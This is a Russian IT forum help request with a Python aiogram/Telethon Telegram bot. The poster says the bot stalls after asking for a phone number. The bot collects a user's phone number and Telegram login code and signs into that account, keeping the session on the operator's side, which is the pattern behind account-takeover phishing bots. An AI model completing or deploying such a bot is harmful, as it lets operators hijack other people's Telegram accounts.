Telegram bot

antonn

Новичок
Пользователь
Июл 8, 2023
4
0
1
Python:
import logging
from aiogram import Bot, Dispatcher, types
from aiogram.contrib.fsm_storage.memory import MemoryStorage
from aiogram.dispatcher import FSMContext
from aiogram.dispatcher.filters import Command
from aiogram.dispatcher.filters.state import State, StatesGroup
from aiogram.types import ReplyKeyboardMarkup, KeyboardButton
from telethon.sync import TelegramClient

# Устанавливаем уровень логов (необязательно)
logging.basicConfig(level=logging.INFO)

# Инициализируем бота и диспетчер
bot = Bot(token="")
dp = Dispatcher(bot, storage=MemoryStorage())


# Определяем класс States, наследующий от StatesGroup
class States(StatesGroup):
    PHONE = State()  # Состояние для получения номера телефона
    CODE = State()  # Состояние для получения кода авторизации


# Команда /start начинает авторизацию
@dp.message_handler(commands='start')
async def cmd_start(message: types.Message):
    # Переключаемся в состояние PHONE
    await States.PHONE.set()
    reply_markup = ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=True)
    button = KeyboardButton("Отправить номер телефона", request_contact=True)
    reply_markup.add(button)
    await message.answer("Пожалуйста, отправьте свой номер телефона", reply_markup=reply_markup)


# Обрабатываем получение номера телефона
@dp.message_handler(content_types=types.ContentType.CONTACT, state=States.PHONE)
async def process_phone_number(message: types.Message, state: FSMContext):
    phone_number = message.contact.phone_number
    # Сохраняем номер телефона в контексте FSM
    await state.update_data(phone_number=phone_number)

    # Создаем клиента Telethon с вашими данными
    client = TelegramClient("session_name", api_id=, api_hash="")
    await client.start(phone=phone_number)

    # Переключаемся в состояние CODE
    await States.CODE.set()
    await message.answer("Отправьте код авторизации")


# Обрабатываем получение кода авторизации
@dp.message_handler(content_types=types.ContentType.TEXT, state=States.CODE)
async def process_code(message: types.Message, state: FSMContext):
    code = message.text
    # Получаем номер телефона из контекста FSM
    data = await state.get_data()
    phone_number = data.get('phone_number')

    # Создаем клиента Telethon с вашими данными
    client = TelegramClient("session_name", api_id=, api_hash="")
    await client.connect()

    try:
        # Входим в Telegram с помощью полученного номера телефона и кода авторизации
        await client.sign_in(phone=phone_number, code=code)
        await client.start()

        # Здесь можно выполнить дополнительные действия после успешной авторизации, например, получить информацию о пользователе
        me = await client.get_me()

        # Отправляем пользователю подтверждение авторизации
        await message.answer(f"Вы успешно авторизованы в Telegram!\n"
                             f"Ваше имя пользователя: {me.username}\n"
                             f"Ваш номер телефона: {me.phone}")
    except Exception as e:
        await message.answer(f"Ошибка авторизации: {str(e)}")

    # Сбрасываем состояние FSM
    await state.finish()
    await client.disconnect()


if __name__ == '__main__':
    # Запускаем бота
    from aiogram import executor

    executor.start_polling(dp, skip_updates=True)

Не работает код. Помогите разобраться. После запроса тел ничего не происходит. Я ввожу в чате номер тел. Ошибок не выдает.
 

Форум IT Специалистов